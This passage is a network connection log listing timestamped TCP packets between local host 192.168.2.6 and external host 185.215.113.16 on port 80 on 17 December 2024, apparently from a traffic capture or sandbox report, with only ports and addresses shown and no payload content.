Dec 17, 2024 10:08:49.465003967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.465017080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.465060949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.465564966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.465698957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.465756893 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.466234922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.466268063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.466311932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.466972113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.467219114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.467281103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.467691898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.467725992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.467776060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.468177080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.468350887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.468400002 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.468882084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.469527006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.469573975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.469575882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.469610929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.469656944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.470230103 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.470474005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.470525026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.470825911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.471225977 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.471364021 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.471508026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.471541882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.471640110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.472131968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.472822905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.472856045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.472888947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.472893000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.472935915 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.473449945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.473733902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.473798037 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.474186897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.474221945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.474265099 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.474877119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.474911928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.475008965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.475410938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.475914955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.476037025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.476084948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.476139069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.476187944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.476793051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.477313042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.477368116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.477428913 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.477463007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.477524042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.478034019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.478750944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.478785038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.478816986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.478831053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.478866100 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.479397058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.479649067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.479698896 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.480027914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.480114937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.480156898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.480854988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.480887890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.480936050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.481357098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.481511116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.481605053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.482042074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.482078075 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.482125044 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.482713938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.483025074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.483078957 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.483409882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.483735085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.483819962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.484070063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.484103918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.484183073 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.484636068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.485176086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.485227108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.485308886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.485344887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.485512018 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.486021996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.486056089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.486110926 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.486629009 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.487366915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.487430096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.487432957 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.487471104 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.487545013 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.487938881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.488154888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.488210917 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.488575935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.488631964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.488683939 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.489315987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.489351034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.489435911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.489912033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.490423918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.490474939 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.490561962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.491277933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.491311073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.491349936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.491370916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.491419077 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.491929054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.491962910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.492036104 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.492604971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.493305922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.493341923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.493360043 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.493377924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.493432045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.493869066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.493962049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.494010925 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.494585037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.494617939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.494661093 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.495264053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.495297909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.495378971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.495840073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.496001005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.496049881 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.496573925 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.496680021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.496768951 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.497183084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.497215986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.497277975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.498051882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.498086929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.498142958 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.498543978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.498577118 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.498653889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.499218941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.499253035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.499366999 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.499984026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.500200033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.500247955 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.500500917 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.500890970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.500989914 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.501219988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.501508951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.501564026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.501900911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.501935005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.502022028 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.553359985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.553431988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.553540945 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.709793091 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.829616070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.829658031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.829669952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.829715014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.829750061 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.829797983 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.830045938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830059052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830111980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.830220938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830234051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830286026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.830853939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830873966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830884933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.830910921 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.830987930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.831080914 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.831593037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.831664085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.831674099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.831717968 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.831801891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.831864119 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.832385063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.832438946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.832451105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.832485914 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.832547903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.832587957 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.833224058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.833266973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.833277941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.833317041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.833343029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.833384037 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.834031105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.834050894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.834062099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.834100962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.834158897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.834204912 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.834887981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835045099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835056067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835068941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835092068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.835119963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.835724115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835772038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835784912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835832119 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.835900068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.835944891 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.836438894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.836451054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.836462021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.836499929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.836520910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.836678982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.837207079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.837254047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.837265015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.837310076 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.067265034 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.187139988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.508549929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.508591890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.508711100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.508810043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.508843899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.508847952 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.508879900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.509041071 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.509406090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.509440899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.509478092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.509504080 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.509891033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.509943962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.509972095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.509983063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.510016918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.511349916 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.644973040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.644999027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645009995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645052910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.645104885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645261049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645332098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645343065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645353079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.645416975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.645467043 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.645467997 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.646055937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.646100998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.646111012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.646209955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.646219969 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.646265030 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.646877050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.646899939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.646909952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.647018909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.647039890 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.647677898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.647711039 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.647756100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.647777081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.647833109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.647836924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.647969961 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.648432970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.648453951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.648463011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.648678064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.766936064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.766977072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.766988039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.767086029 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.767134905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.767213106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.767225027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.767244101 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.767302036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.767327070 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.768045902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768121958 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.768145084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768171072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768307924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.768425941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768518925 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768544912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768569946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.768644094 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.769231081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.769277096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.769292116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.769329071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.769350052 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.769959927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770029068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770040035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770050049 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.770145893 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.770147085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770194054 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.770770073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770821095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770833015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770884991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.770898104 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.771094084 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.771543980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.771596909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.771609068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.771707058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.771830082 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.772381067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.772401094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.772411108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.772463083 CET	49774	80	192.168.2.6	185.215.113.16
